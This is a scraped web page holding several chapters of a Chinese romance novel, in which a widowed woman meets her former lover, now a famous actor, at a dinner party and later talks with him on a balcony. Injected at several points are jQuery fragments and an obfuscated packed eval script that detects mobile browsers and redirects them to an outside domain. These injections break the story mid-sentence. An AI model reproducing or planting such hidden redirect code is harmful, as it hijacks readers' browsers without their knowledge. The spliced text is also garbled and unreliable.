$(''.inform'').remove(); $(''#content'').append('' 速远去的引擎嘶吼余韵更加悠长,可能搅碎了一整个小城的梦。 “谢谢。”阿利雅喃喃道谢,抬头时吓了一跳。 那张最初吸引到她的脸前所未有地近,太近了,双方的衣角只需要一缕风就会相碰。 阿利雅一时之间,不知道让她更分心的是他的脸,还是他正盯着她这个事实。然后她意识到,确切说,用露在吊带长裙外的肩头皮肤感知到: 他的手还搭着她没松开。 这个认知是电流,经过她的血管走遍全身,荷尔蒙火花四溅,随时要引爆积蓄了一整段路的紧张感。 阿利雅想要颤抖。 从对方收紧又松开的手指,还有他深深揪起的眉心,她知道他感觉同样。 为表感谢,她可以请他上楼喝一杯午夜时分的咖啡,或是茶,果汁,白水,任何东西。在这样的气氛下,对方无法拒绝。这些阿利雅都知道。 邀请的话语含在舌尖等了又等,她最后却任由良机错失。 她肩头的手终于还是松开了。 “抱歉。”他的声音是温柔的,致歉的短句念得像读诗。 顿了顿,他用更平淡的语气继续说:“明天是银行假日,卢米埃尔会关门休息。” 这就是他对她说的第一句完整长句。 噢,卢米埃尔,是那家电影院的名字。阿利雅麻木地眨眨眼,她已经开始后悔懊恼为什么目送机会溜走。 “谢谢你的提醒,”她往人行道边缘走了一步,背对着他,“……晚安。” 身后有应答,她故意没去听清楚,加快步子。 当晚阿利雅迟迟没有睡意。烦躁的热意像虫群,从内啃噬她的胸腹内腔,指责她突如其来的怯懦。 但是说不准促使她踩下急刹车的并不是怯懦呢? 相当久之后,阿利雅偶然间得知,初遇那天放映的电影其实也有法语译名: ‘欲望的寂静’。 是个过分适合那个深夜的谶言——她怀着爱和被爱的期望开启那个夏天,但生活不遵循爱情电影的程式,爱并没有在相遇最初就生发,先抽芽的是欲望。 如果欲望的沟壑先一步填满,次日她或许就不会在下午三点半从卢米埃尔剧院前经过,也就不会隔着马路与电影院门口的人打照面。 黑发灰眼睛的漂亮男孩原本坐在剧院门口台阶顶端,看到她短暂瞪大了眼睛,而后缓缓直起身。 阿利雅没有怎么到他面前的记忆,像是飘过了横隔在中间的街道。 “是你告诉我今天关门休息,为什么你还在这里?”她听到自己说。语调意外轻松。 对方反问:“你又为什么在这里,只是路过?” 这么说着,他笑起来,眼睛里有狡黠的光一闪一闪。 安静冷淡只是他对陌生人竖起的屏障,他可能比她想象得远远要狡猾。 阿利雅不答话,在他胸口轻轻一推。他又很轻地笑了声,两人一前一后退进剧院门口的廊柱阴影里,她抬起头,他恰好也低下来找到她的嘴唇。 他们在第一个吻之后才交换名字。 “多里安……我叫多里安。” “阿利雅。” “很高兴终于认识你,阿利雅。” 等待这个时刻降临的人,并不只有她一个。 她初次走进卢米埃尔剧院的那天,他其实就注意到了她。后来多里安这样坦白。 参与陌生人游戏的玩家也有两人,没有交换过只言片语的半个月里,他在不动声色地观察她。在那期间,阻止他主动靠近哪怕一点的理由乍听之下荒诞无稽: “生存本能。” 阿利雅怀疑地扬起眉毛。 “那时我没来由地觉得,如果是你,你可能会摧毁我。” 她最后确实做到了。 浪漫漫长的、流淌着激情和热情的梦幻之夏,还有她爱的、爱她的那个多里安·巴克斯,最后都是她亲手毁掉。 ——或许并没有。 阿利雅把酒杯凑到唇边,目光越过杯沿看向餐桌对角。 凭出道作直接拿下三大电影节之一最佳男主角,横空出世、前途无量的多里安·巴克斯坐在那里,占据着晚餐重要男宾的位置,和女主人凯蒂愉快交谈。 怎么看都不像是一个破碎的、抑或是有过致命裂痕的人。 阿利雅搁下酒杯,微笑着加入长餐桌男主人这侧的对话。 半秒的错拍,她完全别开脸的瞬间,多里安侧眸,朝斜对侧投去一瞥。 他看到阿利雅和男主人菲利普相谈甚欢。 4. 2-2 “所以……多里安,你在和菲利普他们谈下个项目?” 等待甜点的间隙,凯蒂开启了新话题。 绝大多数人都立刻表现出强烈兴趣,注目倾听。 多里安回应得得体却也官方:“确切说,是某位我很尊敬的导演在和游民影业谈,我有幸也受邀参与制作和筹备。至于项目本身,目前我还不能说太多。” “给我们点提示呢?没人会泄露出去的,对吧?”受邀来做客的那对邻居中的丈夫说着环顾四周,他的热情并不像社交表演,很可能真的是个影迷。 菲利普爽朗地大声笑:“到了可以宣传的时候,我保证你们会第一时间在ENX上看到小道消息。” ENX是当下知名度最高、流量最大的文娱新闻网站。 “我只能说,我相信你选片的眼光。不管下个项目是什么,我都很期待。”住隔壁的粉丝先生没有错过表达喜爱的机会。 “我原本不是个影迷,但因为我亲爱的丈夫传教热情高涨,我也快要变成粉丝了。”邻居夫妇语毕相视一笑。 “这里能有谁不是多里安的影迷呢?多里安,我不记得有没有和你提过,凯蒂看过你主演的每一部片子,我得说我在其中有功劳。”菲利普隔几句就要变着花样强调自己和凯蒂的关系。 “噢,我可以保证,我和菲利普一起去看过太多我不感兴趣的片子,但你出演的那些,绝对是我自愿去看的。”凯蒂笑笑地附和,对未婚夫的嘲弄好像只是亲昵的调侃。 “我很荣幸。”多里安微微低头,抬手按了按胸口。 这坦然接受赞美的姿势更适合舞台,但或许因为做的人是他,居然并不显得矫揉造作。 下一刻,他冷不防把话头抛向阿利雅: “德·博蒙特小姐,从刚刚开始你一直很安静。我希望不是我让你感到无聊了。” 阿利雅回他一个铁壁般无懈可击的微笑:“不,完全没有。但我是这间房间里的少数派,不应该打扰大家的兴致。” 提出‘此处100%多里安粉丝浓度’理论的菲利普还没反应过来,多里安已经笑吟吟地追问:“啊,当然,我就觉得不可能我遇到的每个人都喜欢我的作品。所以,你不是我的影迷?” “我应该是吗?”阿利雅俏皮地反问。 多里安微眯了一下眼睛。 对某些隐秘过往一无所知的人根本不会察觉这话里的软刺。 阿利雅没有容许这须臾的沉默持续,抢先说下去:“事实是,我目前还不是你的影迷。” “我至今的作品都还没能让你满意?”多里安朝她的方向微微倾身,一脸友好的兴致盎然,“噢,我最喜欢严格的观众了。” 她侧头向凯蒂眨眨眼,和之前说过自己很久没看电影呼应。而后,她带了点礼貌的歉意,对餐桌斜对角的大明星说: “很遗憾,我目前还没机会欣赏你的作品。” 半秒错愕的寂静。 只能说不愧是专业人士,多里安完全展现了他出色的微表情控制能力。他看上去只是微微一怔,而后不甚在意地笑起来:“Touché!”(一针见血) 相较之下,居然是同桌其他人的反应更强烈。 “你真的一部都没看过?包括《余兴派对》?”头号影迷邻居先生一副不可置信的样子。 正是这部剧情长片让多里安·巴克斯以新人身份拿到金常春藤,一炮而红。 “说来惭愧,我实在称不上是个电影爱好者。”阿利雅答道。 她和凯蒂短暂对上视线。对方明显有那么一点疑惑,但没当场追问。 其实也不算是完全的谎言。 在某个夏天之前和之后,电影对她来说,都只是可以选择的消遣方式之一。再没有更多。 今天配烤海鲈鱼的卡西斯白葡萄酒好像有点上头,也只有酒精能解释不受控制发散的思绪: 她的眼前忽然浮现卢米埃尔剧院的昏暗走道。在闪烁的壁灯的注视下前进的记忆像半透明的胶片,覆在她的视野之上循环播放。 有那么一秒,她甚至怀疑自己闻到了电影院旧地毯特有的灰尘味。 “为了对得起我的职业,之后我一定要想办法改变你对电影的看法。”菲利普自以为风趣地笑出声,也把阿利雅拉回现实。 她对男主人弯了弯眼角,不置可否。而后,她侧首,轻声请邻座的女士帮忙传递桌子另一头的清水壶。 余光带过多里安的方向,她看到他的手指顺着甜点酒杯外壁滑动,在凹凸不平的玻璃菱格图案上反复摩挲。 看起来他还是没有彻底克服这个习惯——哪怕脸上没有漏出任何蛛丝马迹,心绪不佳时,他的手就会闲不住。 像迫切寻找新玩具忘掉打针有多恐怖的孩童,东把玩,西触碰,总之得抓住什么。 她伤害到了他的自尊心吗? 可退一步说,难道他觉得她会在那样惨烈的分手之后,像重返犯罪现场的凶犯一样,换块巨大却也虚幻的荧幕追踪他的喜怒? 阿利雅缓缓吞下一口冰水,感觉好了很多。 话题已经自然而然转回了电影上。 她漫不经心地用甜点勺刮着雪葩球,重新当回旁观的听众。 “不过,只要有机会,我都会向任何一个还没看过的人推荐《余兴派对》。”影迷先生开始现场传教。 “我看这部的时候其实没抱太大期望,觉得可能吹过头了。我平时不太能欣赏艺术电影。但多里安在里面的表现实在让人惊叹,那种情绪表达……”凯蒂叹了口气,仿佛在回味那时候的震撼,“之后我发现,拍摄的时候多里安才20?21岁?太惊人了!” “我记得这里面还有一段曲折,是业内挺有名的一段趣事,多里安差点和丹尼这个角色错过。”菲利普露出‘知情人’的微笑。 “汤姆……导演托马斯·达什很显然觉得,我对那个角色而言,有点太漂亮了。”多里安戏谑地摇摇头,引得餐桌边一阵笑声。 “不过更重要的是,进入第二轮试镜时,只凭拿到手的那部分剧本,我还做不到和主角丹尼共情。用汤姆的话说,就是‘丹尼的深度超出了我那时想象力和个人体验的总和’,导致我‘还致命地差一点感觉’。” 阿利雅蹙了蹙眉。 这些是她第一次得知的事实,却犹如完全吻合的齿轮,嵌入她那侧时间线对应的缺口。 在那个夏天的尾声,多里安陆续得到了几个试镜机会。她陪他坐火车去别的城市参加过几次,那些结果都不甚理想。 那段日子,季节末尾的焦躁悄无声息地感染度假地的每一个人。 阿利雅因为逐渐迫近的婚礼、还有始终没能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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所以他们立刻轻易接受了多里安的说法——那段舞台剧台词般的情感剖白并非写实的体验,而是天才演员基于不那么戏剧性的自身经历,凭敏锐的洞见,深刻地理解了人物关键。 阿利雅见状垂睫,扯了扯嘴角。 多里安看见了,话语中带上嘲弄:“总之,那是很久以前的事,现在已经完全过去了。很多年后添油加醋地在喝酒时当谈资说出去,初恋不就是这样的东西?” 邻居女士喃喃附和,一脸她也有故事可以讲。 轮流共享初恋故事的新节目没有持续太久,或许只是纯粹因为多里安真相难辨的初恋为他带来了一座奖杯,导致其他人都有些羞于开口。 谈话的走向于是朝着《余兴派对》的幕后故事折返。 “由我来说或许不太合适,但多亏了让你心碎的那个人,我们才有了近十年最让人印象深刻的荧幕首秀之一。” 菲利普语音未落,凯蒂就跨越长餐桌瞪了他一眼。 多里安没被这话冒犯,坦荡应道:“没错。我应该感谢那个人,没有那段难能可贵的经历,我也就不会有今天。” 他左右看了看,与阿利雅眼神对上,仿佛只是恰好看向她的方向。 而后,他笑着举起酒杯,遥遥一敬: “致我那灾难性的初恋。” 5. 2-3 晚餐会的甜点后免不了要再来一杯浓缩咖啡。 凯蒂正指挥着未婚夫操作咖啡机,厨房墙上的家居控制面板忽然闪烁起提示灯。 安全提示,正门已解锁。 凯蒂面露讶色,在她查看监控之前,明快的脚步声已经到了餐厅门口。 “我正好想喝咖啡提神,看来我回来得正是时候。”高大的年轻人靠在餐厅门口的柱子边,笑时露出一口洁白整齐的牙齿。 “克里斯!”凯蒂又惊又喜,立刻迎过去,“你不是明天上午的航班吗?” “我临时决定提早回来,”克里斯和她抱了一下,转头问候菲利普,“嘿,菲尔。” 没等菲利普应答,他就转头和邻居夫妇寒暄起来。菲利普哧了声,懒得和克里斯计较,双手抱臂去监督咖啡机了。 与此同时,凯蒂领着弟弟来到阿利雅面前。 刚刚隔了几步看还不觉得,只有面对面,才会对克里斯的体格有实感。 他和阿利雅模糊记忆里的那个少年已经判若两人,至少有190公分高。在夏衫下隐约可见的肌肉线条、漂亮的小麦色皮肤,还有开朗的笑容,种种细节都证明他有户外运动习惯。 “嗨,阿利雅,你还记得我吗?”他挠了挠脖子,无措的小动作透出腼腆。 阿利雅笑着和他虚贴面颊:“克里斯托弗,好久不见。” “叫我克里斯就行,真的。”他用那双和凯蒂极为相似的蓝眼睛认真凝视了她半晌,“休息室的事我听说了,幸好你看起来状态还不错。” 他的真挚关怀快要从眼睛里溢出来。 阿利雅不由有些意外。 婚后她大多数时间待在合众国,只在度假时偶尔会碰到凯蒂,与萨金家的其他人远远称不上亲近。她默了半拍后回答:“没事,我没受那件事影响。” “很抱歉打断你们,但我们还有位客人。”凯蒂这时插进来。 克里斯的粗鲁好像只针对姐姐的未婚夫,闻言他立刻乖乖转过去见客。他看到多里安明显愣了一下。然而他对这张脸的认知停留在觉得眼熟的程度,迟疑开口:“你是……” 大脑正在全速检索人名中——这简直写在他脸上。 “多里安·巴克斯。”大明星好像觉得这新鲜的情况很有意思,主动自我介绍。 克里斯终于想起这位英俊的先生是谁,和他握手:“克里斯托弗。凯蒂是我姐姐。” 顿了顿,他仿佛觉得刚才的话不够有礼貌,于是没话找话地补充:“我有很多同学是你的狂热粉丝。” “请替我转达感谢之情。”多里安圆滑地回道。 克里斯摸了摸鼻子,努力寻找新话题:“你是第一次来这一带吗?” 话出口,他就立刻意识到自己问了个傻问题。卡维拉这座城市每年都因为电影节星光熠熠,大明星年年出席都完全合理,怎么可能是首次造访。 他正尴尬着,阿利雅若无其事地把话题引开:“我倒是和初次来卡维拉的游客差不了多少,之前一直没机会好好探索这里。我这次估计逗留半个月,给我点建议?” 克里斯感激地看她一眼:“我知道几条风景很棒的游艇航线,近几个月经常看到海豚。” “客厅那本航海运动杂志原来是你订的?”阿利雅彻底转向克里斯,从加入对话开始始终没看过多里安一眼。 “对,”克里斯不好意思地笑起来,“航行、游船,还有冲浪这些水上活动我都很喜欢。我的船最近刚刚升级完,如果你有兴趣的话……” “当然。” 萨金家的弟弟眼睛立刻亮了。两人聊了几句出海游玩的事,凯蒂扬声招呼: “克里斯,你再去搬把椅子过来。” 克里斯托弗听话地朝姐姐小跑过去,不知道怎么让人想起金毛寻回犬。 再一转头,阿利雅才发现,多里安不知道什么时候已经走开了。 眼下他正在和那对邻居夫妇亲切自拍合影。 “凯蒂,不用加座位了,我们也该走了,不能让保姆太晚回家。谢谢你们的招待,今晚非常愉快难忘。”又和多里安聊了几句,邻居夫妇心满意足地告辞。 “我也差不多——” “不不,多里安,你再坐会儿吧。”菲利普和他不知道说了什么,多里安最后踱回了餐厅。 邻居女士和萨金家有生意往来,凯蒂和菲利普郑重送两位客人出去。 餐厅里剩下三个人,忽然就分外空旷。 多里安独自站着,隔着反光严重的玻璃端详夜色浓重的庭院,不知道在想什么。桌子另一边,阿利雅专心致志地坐着玩手机,就好像影帝先生只是一株立在窗边的室内植物。 没有哪里特别不对劲,毕竟多里安和阿利雅是初次见面,整晚的高强度社交之后,谁都没义务在主人家缺席时继续和陌生人硬聊维持场面。 即便如此,这氛围还是古怪极了。 克里斯困惑地咬住嘴唇,最后大声自言自语:“咖啡都凉了。重做吧。” 他说着把之前那壶浓缩倒进下水槽,熟练地操作机器重来。 “我用个洗手间。”阿利雅忽然起身。 反锁门,一口气把盥洗台冷水开到最大,洗了两遍手,她终于抬起头。 椭圆形梳妆镜映出她此刻的模样:因为吃东西时蹭掉了口红,面色唇色都稍显苍白,但神色还算平静。盘发在耳畔散落了一缕,她伸手去整理,动作蓦地一顿。 镜子里,她滴着水的手在发抖。 阿利雅快速眨动双眼,所见并非幻觉或臆想。 砰砰砰,受理性压制的交感神经夺回主权,肾上腺素爆发。心跳和呼吸都猛加速,鼻腔胸腔嗡嗡地震动。她忽然头晕目眩。 只有一秒,她又能看清楚了,这次不是透过镜子,她伸到眼前的指掌确实在不受控地、急剧地颤抖。 阿利雅双手抓住盥洗台边缘,低下头深呼吸。 但她的呼吸只有越来越快,每一次吸气都比上一次浅,像要在水里搁浅。 这种感觉她至今为止体验过两次,最近一次是和亨利的婚礼前夜。后来她才知道,那是惊恐发作。 四拍吸气,长长的屏息,然后八拍吐气。 阿利雅按照心理咨询师教她的应对方法调整呼吸。重复两次之后,心悸和手抖终于逐渐消失了。 再往镜子里瞧,她的额角缀满冷汗。 思考恢复运作,阿利雅下意识开始寻找这次恐慌发作的源头:如果是因为和多里安毫无准备地重逢,为什么不是在见面之后立刻发作,偏偏等到夜晚接近尾声的现在? 不,原因真的重要吗? 她利落切断了这缕思绪。 “你在恐慌什么?”阿利雅盯着镜面对侧的自己轻声问。她从手包里摸出唇膏,缓缓地为嘴唇重新覆上颜色。 ※ 阿利雅回到餐厅,其他三人正在说话。率先注意到她的是多里安,但几乎是看到她的同一瞬间,他就转开了视线。 于是欢迎阿利雅的是正对餐厅门口的凯蒂。 “亲爱的你回来了,要不要来点柠檬利口酒?”凯蒂冲插在冰碗里的漂亮酒瓶示意。 桌子上不仅摆着浓缩咖啡,还多了四个精致的窄口细酒杯。 “为什么不?”阿利雅在克里斯身侧的位置落座,歉然道,“抱歉,好像又把你做的咖啡放冷了。” 克里斯立刻要起身:“完全没关系,如果你想喝,我——” 阿利雅笑了,不得不伸手把他拽回座位:“不用了,真的不用。” “你那么喜欢做咖啡,明天早上所有人的咖啡就交给你了。”菲利普没忍住,调侃了克里斯一句。 克里斯咧嘴笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379267|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,没接茬。 “我不在的时候都错过了什么?”阿利雅问。 菲利普立刻说:“我刚刚提议,不如我们玩个游戏,轮流坦白一件与自己有关的、没什么人知道的事实。多里安已经分享过丹尼这个角色背后的故事,所以第一轮可以跳过。” 说是征求意见,他根本没准备让人反对。 第一个开始分享秘闻的也自然而然是菲利普。 阿利雅小口呷着柠檬利口酒,漫不经心地听着他大学时代疯狂的兄弟会故事,脑子里想的却是别的: 菲利普居然这么卖力地拉近与多里安的关系。估计他们现在在谈的这个项目本身受题材或是风格限制,很难有高票房。游民影业就只能希望之后在宣发期间,这位大明星会多出一点力造势。 她的目光走神地往旁边飘,不意间和克里斯的对上。 金发小伙隐秘地朝天花板翻了个白眼,幅度极小地无语摇头。 她对克里斯托弗很难摆脱朋友弟弟的印象,不由自主带了点对小朋友的宽容。她见状差点笑出来,连忙把酒杯凑到唇边挡住笑意。 好像有人在看她。 阿利雅用余光去寻找那注视的源头,却无果。 刚才的异样感似乎只是她的错觉。 菲利普终于讲完他的秘密往事,多里安捧场地发表了几句感想,凯蒂懒洋洋地又倒了一杯酒。按照座次,下个‘坦白’的是阿利雅。 阿利雅一搁酒杯,开场白与玻璃与桌面相击的声音同等利落:“我猜,大多数人想知道的事只有一件,究竟是不是我干的?” ——亨利是不是她杀的? 凯蒂一脸怀疑自己听错了,克里斯托弗因为震惊张开嘴;菲利普立刻坐直了,随即又做出随意倾听的放松姿态。 只有多里安反应平淡。他闻言撩起眼皮看了她一眼,她主动提起身上丑闻让他似乎有那么一点惊讶,对谜底本身,他却显得漠不关心。 阿利雅扯了扯嘴角:“但很可惜,对那件事,我真没什么再可分享的了,那件事前后的所有细节都已经被八卦小报研究透彻。” 凯蒂捂住胸口埋怨:“你真的吓我一跳!” 阿利雅冲她挤了挤眼睛,继续说下去:“但好像几乎没人意识到,或许我和亨利的关系原本就没有他们想象得那么糟糕。” 多里安蓦地抬起头来。 “众所周知,我和亨利并不是因为爱情结合,”她轻轻摇晃酒杯,“但我和他某些方面很相似,也清楚想从彼此那里得到什么。 “多余的期望、难以启齿的秘密……这些伤感情的隐患一开始就不存在。所以其实我们挺合得来,相处也还算愉快。大多数时候都可以这么说。” 难言的寂静笼罩长餐桌。 对克里斯而言,这个话题有些遥远,他的无言因此是茫然的。凯蒂和菲利普这对未婚夫妻若有所思,目光闪烁。 “你对婚姻的理解有点消极。”难得一言不发了好一阵,菲利普才给出评价。他的笑容有些勉强。 “这点上我同意菲尔。我没有那么悲观。”克里斯无端地忧心忡忡。 阿利雅笑了:“你们可以不同意我的看法。但我对上段婚姻没什么怨恨,这就是我想坦白的事实。” 桌子对角,从她开始讲述开始就一言不发的那个人……阿利雅这番话真正想传递给的听众,他沉默地盯着她,面无表情,情绪难以解读。 阿利雅于是举起酒杯,就像今晚多里安已经做过一次那样。 “为了纪念亨利。”她把这杯酒敬给亡夫,还有他留下的遗产。 “为了亨利。”众人喃喃地附和,饮下清新微苦的利口酒,表达对亡者的敬意。 多里安翕动嘴唇,轻声跟着念,而后将酒杯凑到唇边。 但他的嘴唇只沾了沾杯沿,没有一滴酒液入喉。 6. 3-1 阿利雅正在擦头发,手机屏幕蓦地亮起: ‘你还醒着吗?[笑脸]’ Flickerlog上有新私信,来自今天晚上刚加上好友的克里斯托弗。 ‘还没睡’ 对方秒回:‘今天的星星很好看!’ 阿利雅拨弄发尾的动作顿了顿。 聊天气泡上方飘着三个点,克里斯正在输入了好几秒,才又发来消息: ‘这里的阳台还有屋顶都能看到星空,我突然想起来就告诉你一声。’ 阿利雅笑着摇摇头,回了个谢谢就切出手机应用。克里斯接着又发了新消息,她没有再看。 被这么一提醒,她倒是真生出些欣赏夜空的兴致。随意在吊带睡裙外披上睡袍,她拉开客卧的阳台门,才迈出一步,她就发现近处有人。 那人面朝海湾,手肘压着阳台围栏,上半身略微前倾。 夜风吹动阳台门口的纱帘,温暖的室内光从他身后流淌出来,略微卷翘的黑发、还有骨骼感明显的肩颈都蒙上一层柔光的薄纱。 是多里安。 阿利雅搭在拉门上的手指不由收紧。 她先认出对方,而后,惊愕和疑惑慢半拍地击中她。 那瓶柠檬利口酒差不多喝掉一半时,夜色已经深沉。在菲利普的坚持下,多里安最后受邀留宿。这些阿利雅都知道。 可他为什么在这里、在伸一伸手就几乎要碰到的地方? 阿利雅借着室内漫出来的灯光端详:原来隔壁客房的副阳台和她所在的阳台相邻。两者几乎平行,距离很近。 多里安沉浸在思绪之中,阿利雅瞪着他看了好几秒,他才察觉到什么,侧眸瞥来。 他僵住了。 这个时候退回室内未免太像落荒而逃,阿利雅于是向前挪了半步。嘴唇忽然异常干涩,她抿了又抿,最后脱口而出的话语让她自己都意外: “那是电子烟吗?” 多里安有那么一秒,像是很怀疑自己听到了什么。他下意识顺着她的话看向右手,他指间夹着一根自来水笔似的细长物体。 “是。”他找不到连这种简单问题都不回答的理由。 “你——”阿利雅差点反问,他不是讨厌所有类型的烟草吗? 多里安听到了她硬生生咽下去的那部分,扯了扯嘴角,尖刻的恶意在眼睛里闪烁:“在娱乐行业,没有任何不良嗜好的人,不是转行了,就是已经死了。” “尼古丁至少比叶子或者药物可控。也不像酒精和性,容易引发丑闻影响个人形象。”故意做给她看一般,他说完就吸了一口。 “为数不多的缺点之一,大概就是我可能会因此死得更早。”话语的底色幽暗,多里安的神色和声调却满不在乎。 阿利雅没被他这种说话方式吓到,扬起眉毛:“你应该让你的粉丝们听听这话。” “我的经纪人会杀了我的。” 两个人说着说着都不由带了点笑意。 下一秒,他们四目相对,齐齐跌入僵硬的沉默。 ——直到此刻,阿利雅和多里安才意识到,这是他们重逢以来第一次真正的独处。 不需要开始信号,没有前奏,如同捡起刷牙、游泳、骑车那些习得就难失去的技能,他们自然而然地进入以前对话的节奏。 而后猛地惊觉,他们早已经不是能肆无忌惮地开黑色玩笑的关系。 阿利雅扶着围栏探头张望,神色紧绷。 “这侧没人。”多里安知道她在提防什么,有些嘲弄地说。 她拢紧睡袍衣襟,抱臂站直了。 忽然之间,两个人又都无话可说。 多里安把烟拈在手指间转着,过了许久,才没什么起伏地说:“我或许应该恭喜你。” 阿利雅疑惑地沉默。 “你终于得到了你想要的。” 她想要的? 记忆如沉船的残骸上浮,阿利雅模糊地想起来,最后争执到最激烈的时候,她好像说过,她需要很多很多的钱解决家里的问题;她最想要的只有这一样,其他所有的一切都必须给这个愿望让道。 而现在,她确实有了很多很多、多到理应足以买来安全感的钱。 没有等来答复,多里安朝她的方向靠了一点。 “你最近怎么样?我说真的。”不是社交辞令,求知的欲望就写在他的眼睛里。 那探究的意愿竟然不带恶意。 维持对视变得艰难,阿利雅别开脸:“如果你说的是审理期间,网络上对我的议论、揣测还有谩骂……那已经过去了。” 能真正伤害到她的也从来不是陌生人的看法。 “那么你丈夫的死呢?”多里安慢吞吞地念,不漏过阿利雅任何的表情变化,“你和他挺合得来,相处也还算愉快,他突然离世,你应该不好受吧?” “我不想回答。”阿利雅淡淡道。 他的瞳仁骤然紧缩,又恢复原状。他盯着她看了须臾,最后耸肩:“只是随口一问。反正恭喜你了。” “那我也应该恭喜你……实现了梦想。”阿利雅抬起头,今夜的星星确实美丽,那些缀连成片的洁净闪光耀目得无可回避,在这片夜空下,谎言似乎也无处遁形。 她没有转头看多里安,轻轻说:“我为你感到高兴。” 紧绷的嘴唇骤然颤动起来,是扑克脸假面迸裂前的第一道裂痕。多里安闭了闭眼,用远远比表情更漫不经心的声音回道:“某个没看过我任何一部电影的人那么说。” 阿利雅勾唇:“那么我应该从哪部看起,推荐一下?” “不了,我还是宁可你什么都没看过。大部分时候,我都没法忍受在荧幕上看到自己。” “你这么一说,我更加好奇了。” 气氛重新松弛下来。 但这是一种小心翼翼的轻松。 两人如传球般交换调侃的词句,这来来回回却和刚才有本质性的不同。 句与子之间总隔了半拍一拍的停顿,足够他们停下来检视临场创作的台本,这样接下话茬是否安全?能否保持对话不断绝? 直到氛围足够良好,足够撑起更沉重尖锐的话题。 “我——” “我,” 略长的片刻无言之后,双方同时开口。 多里安抬了抬手,示意阿利雅先说。 她短而用力地吸了口气,缓慢地说下去:“我知道现在这么说可能太晚了,但我……我们之间变成那样,以那种方式结束,我很遗憾。” 多里安看着她没说话。 有什么堵在咽喉,让呼吸稀薄,让发声困难。阿利雅用力吞咽,把那团让她窒息的东西碾碎。 “让你心碎,给你带来的伤害……我很抱歉。” 她准备说的话一字不漏地说出口了,可如释重负的喜悦并未来访。 多里安仍然望着她沉默,等待着她继续,就好像她应该还有别的话和他说。 把彼此无交集的近两千个日夜闷进心灵深处的孔洞,任由心火灼烧,最后留下的、精炼而成就只有这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379268|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 说出口的话语在耳边回响,每重复一遍,阿利雅就感觉那些她拼尽全力吐出的词句愈发空洞。可这也确实是她现在能说出的全部了。 她还能说什么?还有什么? 和她的话语一样,她也空荡荡的,从内膨胀的只有虚无。 海上起了夜雾,夜空不再璀璨,多里安眼睛里专注的光亮也在等待中黯淡。他终于失望了。 “如果你想要的仅仅是一句我原谅你,好让你心里好过……”他弯了弯眼角,弧度柔和,嗓音冷淡,“我并没有原谅你。” 阿利雅眨了一下眼睛。 ——我永远不会原谅你。 那时多里安说这话的表情,她闭上眼就能看到。 他还真是信守承诺。一向如此。 缓慢眨动眼睫,让漆黑的幕布在眼前落下又升起,她说:“我并没有在寻求谅解。” 多里安看上去几乎要放声笑出来。 “你道歉的意图很独特。”他怪声怪气地嘲讽。 阿利雅转身就要走。 拒绝继续沟通的肢体动作刺激到多里安。他哈地低笑,措辞逐渐刻薄:“但我本来就不该期待更多的。毕竟在你看来,原本就是我错得更多。 “都怪我没有养成良好习惯,在和任何人约会之前都必须先调查对方的背景身份。如果我当时那么做了,那么我就会发现,你原来伪造了姓氏,因为你在和我相遇之前早已经订婚。” 反驳的词句本能上涌。阿利雅深深地吸了一口气,夜风吹得她的脸色比刚才苍白,她的声音里是掩藏不住的疲倦:“我们必须从头再吵一遍吗?” 闻言,多里安脸上也失去了血色。 阿利雅很少去回想那个夏天是怎样结束的。但那些回忆一直都在,甚至不曾褪色。 激烈的、徒劳的、丑陋的争执。 用与坠入爱河等量的狂热和决绝,去怨,去恨。愤怒,失望,推诿辩解,翻出每一件当初转眼就忘的不愉快小事作为论据,覆盖掉明明更多的快乐时光,就为了证明更早之前、再早之前,甚至于说从最开始,一切就全都是错误,根本不该发生。 和多里安像以前一样说笑,和与他像以前一样恶言相向,显然同等容易。 “对你刚才的指责,我有很多反击的话可以说。但能不能驳倒你,对我来说已经没有意义了。”阿利雅垂眸微笑了一下。 虽然披散着头发,睡袍带子也没系好,但这一笑,她忽然就看起来更像是某些故事版本里,那个精明、精准却也冷酷的德·博蒙特女士了。 多里安像是被这笑容当胸刺了一刀,突然打了个寒颤。 但她看过来的时候,他已经收敛起所有表情。 刚才那些尖锐的情绪突然都从他的声音里消失了,这让他听起来有些机械:“那我干脆直接问了。” 这么说的同时,他却明显犹豫了一下。 残存的游移不定在和她角力般的对视里飞快消散。他盯着她的眼睛,冷冷发问:“你后悔——不,你后悔过吗?” “你知道答案。”阿利雅说。 “是,还是否,正面回答问题应该没那么困难。” “那么答案是不,我不后悔,”阿利雅一眨不眨地直视回去,“我很抱歉,也真的感觉很遗憾。但已经发生的事无可挽回。” 多里安没有再说话。 阿利雅转身。 冰冷的、翻涌着怒意的视线黏连在她的后背,追着她走进室内,直到一道拉起的遮光窗帘将其彻底隔绝。 7. 3-2 要感谢高度数的利口酒,阿利雅居然很快入睡。 然后她久违地在梦中回到那个夏天。 盛夏,蔚蓝海岸的黄金夏日,她走在小城的商业街上,步伐轻快。 